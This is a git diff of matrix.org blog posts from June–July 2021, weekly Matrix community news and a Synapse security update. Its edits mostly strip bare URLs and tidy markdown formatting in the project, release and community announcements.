DMA and the topic of interoperability. This will be hosted on Matrix, based on the infrastructure first used during FOSDEM. The event will be livestreamed over on [#interop-sme:matrix.org](https://matrix.to/#/#interop-sme:matrix.org) +> Tomorrow Element will host an event alongside Protonmail, Open-Xchange and Open Forum Europe on the DMA and the topic of interoperability. This will be hosted on Matrix, based on the infrastructure first used during FOSDEM. The event will be livestreamed over on [#interop-sme:matrix.org](https://matrix.to/#/#interop-sme:matrix.org) > -> Registration is free here: https://openforumeurope.org/event/a-new-business-model-for-the-internet-how-a-strong-digital-markets-act-can-enable-smes-to-deliver-a-better-internet/ +> Registration is free here: NB this event took place earlier in the week, but we still wanted to honour it! @@ -363,11 +357,11 @@ NB this event took place earlier in the week, but we still wanted to honour it! > I've been invited to appear in the latest episode of Clever Cloud's tech podcast Message à Caractère Informatique, where we talked mostly about Matrix and decentralisation, but also about a bunch of other interesting things ranging from timbl minting his source code as an NFT to how to hack autonomous car with sound. It was loads of fun, thanks to them for the invite! > -> The episode, which is in French (sorry non-French speakers!), is available here: https://www.clever-cloud.com/fr/podcast/episode48/ +> The episode, which is in French (sorry non-French speakers!), is available here: Perhaps to *pique* (French word?) our interest [Brendan Abolivier](https://matrix.to/#/@babolivier:vector.modular.im) added: -> (if anyone's curious about the autonomous car hacking, which I found particularly interesting, the paper we were discussing is in english https://spqrlab1.github.io/papers/ji-poltergeist-oakland21.pdf 😛) +> (if anyone's curious about the autonomous car hacking, which I found particularly interesting, the paper we were discussing is in english 😛) ## Dept of Interesting Projects 🛰️ @@ -377,31 +371,31 @@ Perhaps to *pique* (French word?) our interest [Brendan Abolivier](https://matri > After some fixes the bot is now back in shape. This means that all Rooms should again have the correct names from now on and accept invites again. Be aware the bot currently doesnt support encrypted rooms. > -> As a side effect also https://serverstats.nordgedanken.dev/spaces now found 3x the rooms as before. +> As a side effect also now found 3x the rooms as before. > > Also the webpage got a big overhaul which brings a lot more mobile phone friendliness :) So you can finally properly use it on your phone as well. > > Another change is that tombstoned rooms now get filtered from the list to keep it clean. > -> For developers a API reference is now available at https://serverstats.nordgedanken.dev/api +> For developers a API reference is now available at > > Also if you use the apis please note that the content is gzip encoded. The server currently doesnt respect the `Accept-Encoding` Header. > > On the side of internal changes is now that the retries are limited to 5 times instead the previously buggy amount. This should reduce join requests from my server drastically. > -> For people usings the /servers api endpoint there is also now a include_members option. This means https://serverstats.nordgedanken.dev/servers?include_members=true +> For people usings the /servers api endpoint there is also now a include_members option. This means > > now also gives unique servers based on known members. ## Dept of Guides 🧭 -### A Matrix bot created with Simple-Matrix-Bot-Lib! +### A Matrix bot created with Simple-Matrix-Bot-Lib [krazykirby99999](https://matrix.to/#/@krazykirby99999:matrix.org) reported: > This bot is written with short, easy to understand Python code. Try writing your own bot with Python and Simple-Matrix-Bot-Lib! > -> https://simple-matrix-bot-lib.readthedocs.io/en/latest/examples.html#a-rock-paper-scissors-bot +> This project is also a bot in itself, but I believe it is a great form of documentation, hence Guides section. @@ -411,7 +405,7 @@ This project is also a bot in itself, but I believe it is a great form of docume > After having tried to convince several people to join the Matrix, my main conclusion is that it's too difficult for people. Apps that big tech companies produce are so simple that having to choose a client, choose (or set up) a homeserver and building bridges is too much of a push factor from the Matrix. > -> To help those people, I've written a quick guide that should help people without a programming background join the Matrix. I'm using this as a reference when people ask how they could join the Matrix, feel free to do this yourself as well: https://noordstar.me/b/how-to-join-matrix.md +> To help those people, I've written a quick guide that should help people without a programming background join the Matrix. I'm using this as a reference when people ask how they could join the Matrix, feel free to do this yourself as well: ## Matrix in the News 📰 @@ -423,7 +417,7 @@ Remember the survey of German universities we reported on a few weeks ago? There [Cat](https://matrix.to/#/@cat:feline.support) announced: -> Remember the Wired article we spotted in the print edition and got a blurry picture of? It has now made it onto their website. https://www.wired.co.uk/article/matrix-encrypted-messaging-app-governments +> Remember the Wired article we spotted in the print edition and got a blurry picture of? It has now made it onto their website. ## Final Thoughts 💭 @@ -439,7 +433,7 @@ Remember the survey of German universities we reported on a few weeks ago? There > > This week's room is: [#calibre:mailstation.de](https://matrix.to/#/#calibre:mailstation.de) > -> **"People reading eBooks usually know Calibre (https://calibre-ebook.com/), one of the most prominent ebook management solutions by Kovid Goyal. We've had an "unofficial" (as in: Kovid doesn't like real-time communications :) ) channel on what used to be freenode that I've moved to Libera and which is - of course! - bridged to #calibre"** ~Philantrop +> **"People reading eBooks usually know Calibre (), one of the most prominent ebook management solutions by Kovid Goyal. We've had an "unofficial" (as in: Kovid doesn't like real-time communications :) ) channel on what used to be freenode that I've moved to Libera and which is - of course! - bridged to #calibre"** ~Philantrop > > ---- > @@ -450,6 +444,7 @@ Remember the survey of German universities we reported on a few weeks ago? There Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -466,6 +461,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|imninja.net|1349| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2021/06/2021-06-25-this-week-in-matrix-2021-06-25.md b/content/blog/2021/06/2021-06-25-this-week-in-matrix-2021-06-25.md index b7fa5f58c..c6a0e4446 100644 --- a/content/blog/2021/06/2021-06-25-this-week-in-matrix-2021-06-25.md +++ b/content/blog/2021/06/2021-06-25-this-week-in-matrix-2021-06-25.md @@ -49,7 +49,7 @@ image = "https://matrix.org/blog/img/2021-06-25-pucq0-image.png" [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) told us: -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://matrix.org/docs/spec/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > > #### MSC Status > @@ -60,24 +60,23 @@ image = "https://matrix.org/blog/img/2021-06-25-pucq0-image.png" > > **MSCs in Final Comment Period:** > -> * _No MSCs are in FCP._ +> * *No MSCs are in FCP.* > > **New MSCs:** > > * [MSC3255: Use SRV record for homeservers discovery by clients](https://github.com/matrix-org/matrix-doc/pull/3255) +> > #### Spec Updates > > Spaces work continues with [MSC3083](https://github.com/matrix-org/matrix-doc/pull/3083) (Restricted room memberships), which will include a new room version due to the new `join_rule` of `restricted. On the other side of things, [MSC3245](https://github.com/matrix-org/matrix-doc/pull/3245) (voice messages) and by extension extensible events, is moving as the implementation work is pushed forward. Lots of activity on [MSC3215](https://github.com/matrix-org/matrix-doc/pull/3215) (improved moderation tooling) as well which will no doubt prove to be invaluable as the Matrix network continues to grow. - - ![2021-06-25-u23Qt-stacked_area_chart.png](/blog/img/2021-06-25-u23Qt-stacked_area_chart.png) ## Dept of Servers 🏢 ### Conduit -Conduit is a Matrix homeserver written in Rust https://conduit.rs +Conduit is a Matrix homeserver written in Rust [timokoesters](https://matrix.to/#/@timokoesters:fachschaften.org) reported: @@ -135,14 +134,14 @@ Synapse is a popular homeserver written in Python. ### Hydrogen -A minimal Matrix chat client, focused on performance, offline functionality, and broad browser support. https://github.com/vector-im/hydrogen-web/ +A minimal Matrix chat client, focused on performance, offline functionality, and broad browser support. [Bruno](https://matrix.to/#/@bwindels:matrix.org) said: > Released Hydrogen 0.2.0 with: > -> * support for receiving and sending reactions ❤👍🚀 -> * adds a right panel with basic room information, thanks to @MidhunSureshR! Watch this space in the near future for more functionality soon. +> * support for receiving and sending reactions ❤👍🚀 +> * adds a right panel with basic room information, thanks to @MidhunSureshR! Watch this space in the near future for more functionality soon. Loving Hydrogen right now. It's fast and works great! See Bruno present reactions as one of the Matrix Live demos (scroll up) @@ -174,37 +173,34 @@ Loving Hydrogen right now. It's fast and works great! See Bruno present reaction Updates from the teams! Android will return next week. + **Delight team** +* Spaces: + * Drag and drop for reordering Spaces is now live on Android! And testable on [develop](https://develop.element.io) for Web + * We’ve also added labs flags to Web & Android to test a few different things, in particular + * Toggling ‘Home’ to show all rooms, or only rooms which don’t belong to Spaces + * Toggling to not show People in Spaces + * Please try them out! After living with a different config for a few days, we’d love to hear [your feedback!](https://matrix.to/#/[#spaces-feedback-space:matrix.org](https://matrix.to/#/#spaces-feedback-space:matrix.org)) - -* Spaces: - * Drag and drop for reordering Spaces is now live on Android! And testable on [develop](https://develop.element.io) for Web - * We’ve also added labs flags to Web & Android to test a few different things, in particular - * Toggling ‘Home’ to show all rooms, or only rooms which don’t belong to Spaces - * Toggling to not show People in Spaces - * Please try them out! After living with a different config for a few days, we’d love to hear [your feedback!](https://matrix.to/#/[#spaces-feedback-space:matrix.org](https://matrix.to/#/#spaces-feedback-space:matrix.org)) - + **Web** +* 1.7.31 released on Monday +* Nightly builds of Element Desktop optimised for Apple silicon are [now available](https://packages.riot.im/nightly/install/macos/arm64/Element%20Nightly.dmg) for testing! Please give it a try and report any issues. +* Added libera.chat to room directory on develop, staging, and app. It will appear in desktop builds as well next time they update. +* On develop + * Various CI tweaks and performance improvements +* In flight + * Adding large account performance tests - -* 1.7.31 released on Monday -* Nightly builds of Element Desktop optimised for Apple silicon are [now available](https://packages.riot.im/nightly/install/macos/arm64/Element%20Nightly.dmg) for testing! Please give it a try and report any issues. -* Added libera.chat to room directory on develop, staging, and app. It will appear in desktop builds as well next time they update. -* On develop - * Various CI tweaks and performance improvements -* In flight - * Adding large account performance tests - + **iOS** - - -* 1.4.2 released on Monday. 1.4.3 with the fix on wellknown on Thursday -* Fix a bug where the wellknown was no more fetched -* Device dehydration is available in the SDK -* Still good progress on voice messages +* 1.4.2 released on Monday. 1.4.3 with the fix on wellknown on Thursday +* Fix a bug where the wellknown was no more fetched +* Device dehydration is available in the SDK +* Still good progress on voice messages ### Quaternion @@ -228,8 +224,6 @@ Updates from the teams! Android will return next week. > Last week's news actually, but libQuotient master branch can built with Qt 6 now, laying ground for the GSoC works on PyQuotient - Python bindings for libQuotient. The library has also been updated to follow the latest CS API specification, which means basic low-level support for knocking, with higher-level library API for it coming later. - - ### 🧙 Polyjuice Util [Polyjuice Client](https://hex.pm/packages/polyjuice_client) is a Matrix library for Elixir @@ -246,11 +240,11 @@ Updates from the teams! Android will return next week. [jojo](https://matrix.to/#/@jojo:peek-a-boo.at) said: -> Hello dear Synapse Admins, `synadm` v0.30 is out. lt seems I was in "story telling mode" already when I wrote the release notes yesterday. That should perfectly suit a TWIM article as well 🙂 So there you go, copy/pasted from https://github.com/JOJ0/synadm/releases/tag/v0.30 with love: +> Hello dear Synapse Admins, `synadm` v0.30 is out. lt seems I was in "story telling mode" already when I wrote the release notes yesterday. That should perfectly suit a TWIM article as well 🙂 So there you go, copy/pasted from with love: > > #### New > -> `synadm` finally got some nicely rendered documentation pages hosted at https://synadm.readthedocs.io. +> `synadm` finally got some nicely rendered documentation pages hosted at . > > "Login as a user" admin API support: > @@ -265,7 +259,7 @@ Updates from the teams! Android will return next week. > * `synadm matrix raw endpoint/url -m put -d '{"key1": "value1"}' --prompt` > * [The new command's docs](https://synadm.readthedocs.io/en/latest/synadm.cli.matrix.html#synadm-matrix-raw) > -> _Note that this is meant to be a convenience function in case a Synapse homeserver admin wants to quickly help users e.g set specific settings available via regular Matrix calls and not the Synapse admin API directly. Also note that it is not meant to replace the awesome Matrix CLI tools that are already out there. matrix-commander, matrixcli to mention just a few._ +> *Note that this is meant to be a convenience function in case a Synapse homeserver admin wants to quickly help users e.g set specific settings available via regular Matrix calls and not the Synapse admin API directly. Also note that it is not meant to replace the awesome Matrix CLI tools that are already out there. matrix-commander, matrixcli to mention just a few.* > > The second command below `matrix` is: > @@ -277,13 +271,13 @@ Updates from the teams! Android will return next week. > > #### Improved > -> The README has been updated to point to the nicely rendered docs recently published at https://matrix-org.github.io/synapse/develop/usage/administration/admin_api/index.html +> The README has been updated to point to the nicely rendered docs recently published at > > #### Notes > -> Update via PyPI or git as described in the update chapter: https://github.com/JOJ0/synadm#update +> Update via PyPI or git as described in the update chapter: > -> Thanks to the friendly people in [#synadm:peek-a-boo.at](https://matrix.to/#/#synadm:peek-a-boo.at) for reviewing, testing, discussing functionality and giving advice. And for this release, a special thanks to @hpd:hpdeifel.de https://github.com/hpdeifel +> Thanks to the friendly people in [#synadm:peek-a-boo.at](https://matrix.to/#/#synadm:peek-a-boo.at) for reviewing, testing, discussing functionality and giving advice. And for this release, a special thanks to @hpd:hpdeifel.de ### Matrix Navigator v0.1.1 @@ -298,9 +292,9 @@ Updates from the teams! Android will return next week. > > * Errors are now shown in input fields or alerts. > -> https://matrix-navigator.chrpaul.de +> > -> Code and roadmap: https://gitlab.com/jaller94/matrix-navigator +> Code and roadmap: ## Dept of Services 🚀 @@ -308,20 +302,20 @@ Updates from the teams! Android will return next week. [Thib](https://matrix.to/#/@thib:ergaster.org) told us: -> with the change of policy we deployed on GNOME's Matrix instance, it occurred to me that we had overlooked an important aspect in our relationship with Matrix: do we own our Matrix account? And the answer is... maybe! In this post I cover the differences between personal account, organisation-owned account, the importance of segregating activities on Matrix... and why this _may_ change with Portable Identities in the future +> with the change of policy we deployed on GNOME's Matrix instance, it occurred to me that we had overlooked an important aspect in our relationship with Matrix: do we own our Matrix account? And the answer is... maybe! In this post I cover the differences between personal account, organisation-owned account, the importance of segregating activities on Matrix... and why this *may* change with Portable Identities in the future > -> https://blog.ergaster.org/post/20210622-owning-your-matrix-account/ +> ## Dept of Jobs 💰️ -### Tchap are hiring! +### Tchap are hiring [Thib](https://matrix.to/#/@thib:ergaster.org) reported: > the French government deployed Tchap, an instant messaging based on Matrix. They are looking for tech and processes oriented people to improve the service. > -> https://beta.gouv.fr/recrutement/2021/06/15/tchap-devops.html (🇫🇷) -> https://beta.gouv.fr/recrutement/2021/06/15/charge.ou.chargee.de.deploiement.html (🇫🇷) +> (🇫🇷) +> (🇫🇷) ## Final Thoughts 💭 @@ -329,7 +323,7 @@ Updates from the teams! Android will return next week. > I know this isn't TWIM-worthy, but I figured people in this room would find it interesting: yesterday there was a very popular post on reddit about how we don't appreciate email enough, and in the comments there were some mentions of matrix as the counterpart for messaging: > -> https://old.reddit.com/r/Showerthoughts/comments/o6cs4l/comment/h2s5dcz/ +> Actually I think this is very interesting. Worth taking a read to understand how people not already using Matrix might see the world. @@ -338,6 +332,7 @@ Actually I think this is very interesting. Worth taking a read to understand how Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -354,6 +349,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|kittenface.studio|1559| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2021/06/2021-06-30-security-update-synapse-1-37-1-released.md b/content/blog/2021/06/2021-06-30-security-update-synapse-1-37-1-released.md index b04844c5f..3864a9329 100644 --- a/content/blog/2021/06/2021-06-30-security-update-synapse-1-37-1-released.md +++ b/content/blog/2021/06/2021-06-30-security-update-synapse-1-37-1-released.md @@ -19,7 +19,7 @@ We're happy to say that Synapse 1.37.1 [fixes this](https://github.com/matrix-or **Also, we highly recommend that you disable open registration or, if you keep it enabled, use SSO or require email validation to avoid abusive signups. Empirically adding a CAPTCHA is not enough. Otherwise you may find your server blocked all over the place if it is hosting spambots.** -**Finally, if your server has open registration, PLEASE check whether spambots have been registered on your server, and deactivate them. Once deactivated, you will need to contact abuse@matrix.org to request that blocks on your server are removed**. +**Finally, if your server has open registration, PLEASE check whether spambots have been registered on your server, and deactivate them. Once deactivated, you will need to contact to request that blocks on your server are removed**. Your best bet for spotting and neutralising dormant spambots is to review signups on your homeserver over the past 3-5 days and deactivate suspicious users. We do not recommend relying solely on lists of suspicious IP addresses for this task, as the distributed nature of the attack means any such list is likely to be incomplete or include shared proxies which may also catch legitimate users. @@ -31,7 +31,7 @@ Meanwhile, over to Dan for the Synapse 1.37 release notes. Synapse 1.37 is now available! -> **Note: ** The legacy APIs for Spam Checker extension modules are now considered deprecated and targeted for removal in August. Please see [the module docs](https://matrix-org.github.io/synapse/v1.37/modules.html#porting-an-existing-module-that-uses-the-old-interface) for information on updating. +> **Note:** The legacy APIs for Spam Checker extension modules are now considered deprecated and targeted for removal in August. Please see [the module docs](https://matrix-org.github.io/synapse/v1.37/modules.html#porting-an-existing-module-that-uses-the-old-interface) for information on updating. > > This release also removes Synapse's built-in support for the obsolete ACMEv1 protocol for automatically obtaining TLS certificates. Server administrators should place Synapse behind a [reverse proxy](https://matrix-org.github.io/synapse/v1.37/reverse_proxy.html) for TLS termination, or switch to a standalone ACMEv2 client like [certbot](https://certbot.eff.org/). diff --git a/content/blog/2021/07/2021-07-02-this-week-in-matrix-2021-07-02.md b/content/blog/2021/07/2021-07-02-this-week-in-matrix-2021-07-02.md index a02ce7fc1..e7dcf623a 100644 --- a/content/blog/2021/07/2021-07-02-this-week-in-matrix-2021-07-02.md +++ b/content/blog/2021/07/2021-07-02-this-week-in-matrix-2021-07-02.md @@ -35,7 +35,7 @@ Next, a high billing for Beeper this week, who have been working hard and gettin > * Added thread UI for Slack-bridged rooms. Internally they're just replies like before, but the client will intelligently collapse replies in Slack rooms into threads. > > * Merged upstream Element additions like voice messages. -> * Also merged some features that aren't in Element yet, like [Giphy integration](https://github.com/matrix-org/matrix-react-sdk/pull/5814). +> * Also merged some features that aren't in Element yet, like [Giphy integration](https://github.com/matrix-org/matrix-react-sdk/pull/5814). > > **iOS** > @@ -49,21 +49,20 @@ Next, a high billing for Beeper this week, who have been working hard and gettin > > **Bridges** > -> * Android Messages is turning out difficult to reverse-engineer to a sufficiently reliable level, so we're building a new SMS bridge into our Android app. It'll also be available as a standalone open-source app, which already exists at https://gitlab.com/beeper/android-sms (but doesn't have any setup instructions yet). +> * Android Messages is turning out difficult to reverse-engineer to a sufficiently reliable level, so we're building a new SMS bridge into our Android app. It'll also be available as a standalone open-source app, which already exists at (but doesn't have any setup instructions yet). > > * We've funded development of a LinkedIn bridge. sumner will post a more detailed update about that. > -> We're hiring React, iOS, Android and SRE/Devops engineers. If you're interested, check out https://angel.co/company/beeperhq or DM [Eric Migicovsky](https://matrix.to/#/@eric:beeper.com). - - +> We're hiring React, iOS, Android and SRE/Devops engineers. If you're interested, check out or DM [Eric Migicovsky](https://matrix.to/#/@eric:beeper.com). ![2021-07-02-CS1WM-image.png](/blog/img/2021-07-02-CS1WM-image.png) ## Dept of Spec 📜 MSC state changes: -- "[MSC3262 aPAKE authentication](https://github.com/matrix-org/matrix-doc/pull/3262)" was created. -- "[MSC2918: Refresh tokens](https://github.com/matrix-org/matrix-doc/pull/2918)" was proposed for FCP + +* "[MSC3262 aPAKE authentication](https://github.com/matrix-org/matrix-doc/pull/3262)" was created. +* "[MSC2918: Refresh tokens](https://github.com/matrix-org/matrix-doc/pull/2918)" was proposed for FCP Bruno has been working on aggregations as part of his work for Hydrogen. He reported: > I've been cleaning up the relations MSCs, finding a balance between documenting the current state and not losing track of community concerns. I've started with [MSC 2674](https://github.com/matrix-org/matrix-doc/pull/2674) which is the very basic format of relations, and will move on to annotations/reactions ([MSC 2677](https://github.com/matrix-org/matrix-doc/pull/2677)) next week. @@ -107,7 +106,7 @@ Synapse is a popular homeserver written in Python. [sumner](https://matrix.to/#/@sumner:sumnerevans.com) reported: -> I'm excited to announce that I started working on a new bridge for bringing LinkedIn messages to Matrix! It's currently in the early stages of development and not production-ready. The current feature set includes: backfill from LinkedIn, user name and profile picture sync, message sending from Matrix -> LinkedIn, and real-time message puppetting from LinkedIn -> Matrix. There's much more to come, and you can join [#linkedin-matrix:nevarro.space](https://matrix.to/#/#linkedin-matrix:nevarro.space) for updates. Development is being funded by Beeper, and is being designed with integration into Beeper as it's primary goal. However, the bridge is open source (Apache 2.0) and will be available to self-host. The source code is here: https://github.com/sumnerevans/linkedin-matrix. +> I'm excited to announce that I started working on a new bridge for bringing LinkedIn messages to Matrix! It's currently in the early stages of development and not production-ready. The current feature set includes: backfill from LinkedIn, user name and profile picture sync, message sending from Matrix -> LinkedIn, and real-time message puppetting from LinkedIn -> Matrix. There's much more to come, and you can join [#linkedin-matrix:nevarro.space](https://matrix.to/#/#linkedin-matrix:nevarro.space) for updates. Development is being funded by Beeper, and is being designed with integration into Beeper as it's primary goal. However, the bridge is open source (Apache 2.0) and will be available to self-host. The source code is here: . Great work from Sumner! Glad to see people have the *option* to bridge their LinkedIn messages! @@ -119,12 +118,12 @@ Great work from Sumner! Glad to see people have the *option* to bridge their Lin > > Better LINE->Matrix read receipt bridging is now supported in the `testing` branch! The bridge now checks all LINE chats (not just the most recently-used one) to see if messages you sent have been read (in LINE). This works by cycling through all LINE chats where the final message is posted by you and doesn't have a "Read" marker on it yet (or for multi-user chats, if your last message hasn't been read by everyone in the room). > -> With that, I'll consider the bridge to be in Early Beta! 🎉 I'm now testing the bridge for myself to iron out a few kinks, and am preparing a PR to the [matrix.org](https://github.com/matrix-org/matrix.org/) webpage to have this listed on https://matrix.org/bridges/. +> With that, I'll consider the bridge to be in Early Beta! 🎉 I'm now testing the bridge for myself to iron out a few kinks, and am preparing a PR to the [matrix.org](https://github.com/matrix-org/matrix.org/) webpage to have this listed on . > > Discussion: > -> [#matrix-puppeteer-line:miscworks.net](https://matrix.to/#/#matrix-puppeteer-line:miscworks.net) -> Issue page: https://src.miscworks.net/fair/matrix-puppeteer-line/issues +> [#matrix-puppeteer-line:miscworks.net](https://matrix.to/#/#matrix-puppeteer-line:miscworks.net) +> Issue page: ### Matrix Adapter for WebThings 0.4.0 @@ -133,7 +132,7 @@ Great work from Sumner! Glad to see people have the *option* to bridge their Lin > This addon for the WebThings gateway lets you send Matrix messages when your IoT fridge is empty – or whatever you have connected to your gateway. > > The update fixes predefined messages getting sent to the default room and is the first to be tested against gateway version 1.0.0. -> https://gitlab.com/webthings/matrix-adapter or in the addon list of your WebThings gateway +> or in the addon list of your WebThings gateway ## Dept of Clients 📱 @@ -204,34 +203,30 @@ This is terrific news, big thanks to [NLNet](https://nlnet.nl/) for making this Updates sent by the teams + **Delight team** - - * Spaces: * Research: We’ve been reaching out to people to walk us through how they use Spaces now and what they’d like to see different to help us learn and iterate; - * Restricted room access: Some good progress towards shipping improved team spaces + * Restricted room access: Some good progress towards shipping improved team spaces + **Web** - - * v1.7.32-rc.1 is on [https://staging.element.io/](https://staging.element.io/) in advance of release on Monday - please test! * Some major progress on conversion to TypeScript, finding some bugs along the way. The main source of the element-desktop project is now fully converted to TypeScript! * A styled player component for the audio messages feature, available in the labs section. + **iOS** - - * v1.4.4 ([https://github.com/vector-im/element-ios/releases/tag/v1.4.4](https://github.com/vector-im/element-ios/releases/tag/v1.4.4)) is available in TestFlight. It should be on the App Store on Monday * It contains a bug fix for Single Sign-On (SSO) * We started to attack some papercuts. Expect more in the coming weeks. + **Android** - - * We are actively implementing the highly expected voice message feature! * A release candidate v1.1.12 will be available during the week-end * We are focusing to fix some crashes, to improve the stability of the application @@ -248,11 +243,11 @@ Vocie messages! > > #### Updates > -> 0. [@tusooa:tusooa.xyz](https://matrix.to/#/@tusooa:tusooa.xyz) fixed a thread-safety issue that caused crashes. https://lily.kazv.moe/kazv/kazv/-/merge_requests/6 +> 0. [@tusooa:tusooa.xyz](https://matrix.to/#/@tusooa:tusooa.xyz) fixed a thread-safety issue that caused crashes. > -> 1. We now have a new developer [@nannanko:tusooa.xyz](https://matrix.to/#/@nannanko:tusooa.xyz) . She implemented a login failure prompt for kazv. https://lily.kazv.moe/kazv/kazv/-/merge_requests/4 +> 1. We now have a new developer [@nannanko:tusooa.xyz](https://matrix.to/#/@nannanko:tusooa.xyz) . She implemented a login failure prompt for kazv. > -> You can get the current AppImage build at https://lily.kazv.moe/kazv/kazv/-/jobs/611/artifacts/browse . +> You can get the current AppImage build at . ## Dept of SDKs and Frameworks 🧰 @@ -271,7 +266,7 @@ Vocie messages! > It's an alpha-stage webapp for developers to replace curl for room state administration. > > This week I added features for better member management, including kick, ban and unban. -> https://gitlab.com/jaller94/matrix-navigator +> ## Dept of Services 🚀 @@ -281,11 +276,10 @@ Vocie messages! > Exciting new update, we can now wireguard an on-premises server from just about anywhere and make it work with the AWX system. This is useful when your server doesn't have a static or public IP address, or when some other networking issue prevents you from running a Matrix service on it. > -> Follow of on GitLab: https://gitlab.com/GoMatrixHosting +> Follow of on GitLab: > -> Or come say hello on Matrix: [#general:gomatrixhosting.com](https://matrix.to/#/#general:gomatrixhosting.com) +> Or come say hello on Matrix: [#general:gomatrixhosting.com](https://matrix.to/#/#general:gomatrixhosting.com) > -> ``` > > * Add '00 - Create Wireguard Server' template for AWX admin to provision Wireguard servers that on-premises servers can use to connect. > @@ -294,8 +288,6 @@ Vocie messages! > > * Add onboarding script for Windows 10 users. > * Raise maximum download size to 200MB. -> -> ``` ## Dept of Bots 🤖 @@ -303,7 +295,7 @@ Vocie messages! [TravisR](https://github.com/turt2live) offered: -> [Mjolnir](https://github.com/matrix-org/mjolnir) is a moderation bot for communities on Matrix. It helps with a lot of the actions covered by the [moderation guide](https://matrix.org/docs/guides/moderation), including capabilities to apply bans from other trusted communities. It's still a bit terse in its documentation, but if you're looking for a featureful moderation bot then it's worth a go. +> [Mjolnir](https://github.com/matrix-org/mjolnir) is a moderation bot for communities on Matrix. It helps with a lot of the actions covered by the [moderation guide](https://matrix.org/docs/guides/moderation), including capabilities to apply bans from other trusted communities. It's still a bit terse in its documentation, but if you're looking for a featureful moderation bot then it's worth a go. > > In related news, Mjolnir [v0.1.18](https://github.com/matrix-org/mjolnir/releases/tag/v0.1.18) is out with a couple quality of life fixes - if you've been bothered by the log spam, it's now fixed :) @@ -329,7 +321,7 @@ Vocie messages! [Florian](https://matrix.to/#/@florian:dsn.tm.kit.edu) said: -> Together with J. Ryan Stinnett, I created the 🔖 [#matrix-science-reading-group:dsn.tm.kit.edu](https://matrix.to/#/#matrix-science-reading-group:dsn.tm.kit.edu) for exchange of and on scientific papers, books and related resources on all things Matrix: Topics ranging from peer-to-peer broadcast overlay networks over conflict-free replicated data types to end-to-end encryption. Investigating security, performance, deployability, or whatever else is interesting, by methods from observation over simulation to formal verification. 🎓️ Please join if you want to read about papers that might not be Matrix-related enough to make it into TWIM, or want to engage in the discussion. 😊 The resulting papers are collected at: https://github.com/jryans/awesome-matrix#research +> Together with J. Ryan Stinnett, I created the 🔖 [#matrix-science-reading-group:dsn.tm.kit.edu](https://matrix.to/#/#matrix-science-reading-group:dsn.tm.kit.edu) for exchange of and on scientific papers, books and related resources on all things Matrix: Topics ranging from peer-to-peer broadcast overlay networks over conflict-free replicated data types to end-to-end encryption. Investigating security, performance, deployability, or whatever else is interesting, by methods from observation over simulation to formal verification. 🎓️ Please join if you want to read about papers that might not be Matrix-related enough to make it into TWIM, or want to engage in the discussion. 😊 The resulting papers are collected at: ### German Element translation feedback @@ -361,13 +353,13 @@ Vocie messages! > > This is why I want to share rooms (or spaces) I find interesting. > -> ---- +> ___ > -> This week's room is: [#fossmaintainers:matrix.org](https://matrix.to/#/#fossmaintainers:matrix.org) +> This week's room is: [#fossmaintainers:matrix.org](https://matrix.to/#/#fossmaintainers:matrix.org) > -> **"A public space for Free/Open Source Software maintainers to swap notes and discuss their craft. Inspired by https://github.com/github/maintainerweek, all maintainers welcome!"** +> **"A public space for Free/Open Source Software maintainers to swap notes and discuss their craft. Inspired by , all maintainers welcome!"** > -> ---- +> ___ > > If you want to suggest a room for this section, tell me in [#roomoftheweek:fachschaften.org](https://matrix.to/#/#roomoftheweek:fachschaften.org) @@ -376,6 +368,7 @@ Vocie messages! Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -392,6 +385,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|queersin.space|1241| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2021/07/2021-07-09-this-week-in-matrix-2021-07-09.md b/content/blog/2021/07/2021-07-09-this-week-in-matrix-2021-07-09.md index 13d355f29..32692ba8a 100644 --- a/content/blog/2021/07/2021-07-09-this-week-in-matrix-2021-07-09.md +++ b/content/blog/2021/07/2021-07-09-this-week-in-matrix-2021-07-09.md @@ -20,7 +20,7 @@ image = "https://matrix.org/blog/img/2021-07-09-ADEDa-stacked_area_chart.png" [Gwmngilfen](https://matrix.to/#/@gwmngilfen:matrix.org) offered: -> I'm the Principal Data Scientist for the Ansible Community. We're hoping to switch to Matrix as our primary platform in the near future, and I've just written up _my 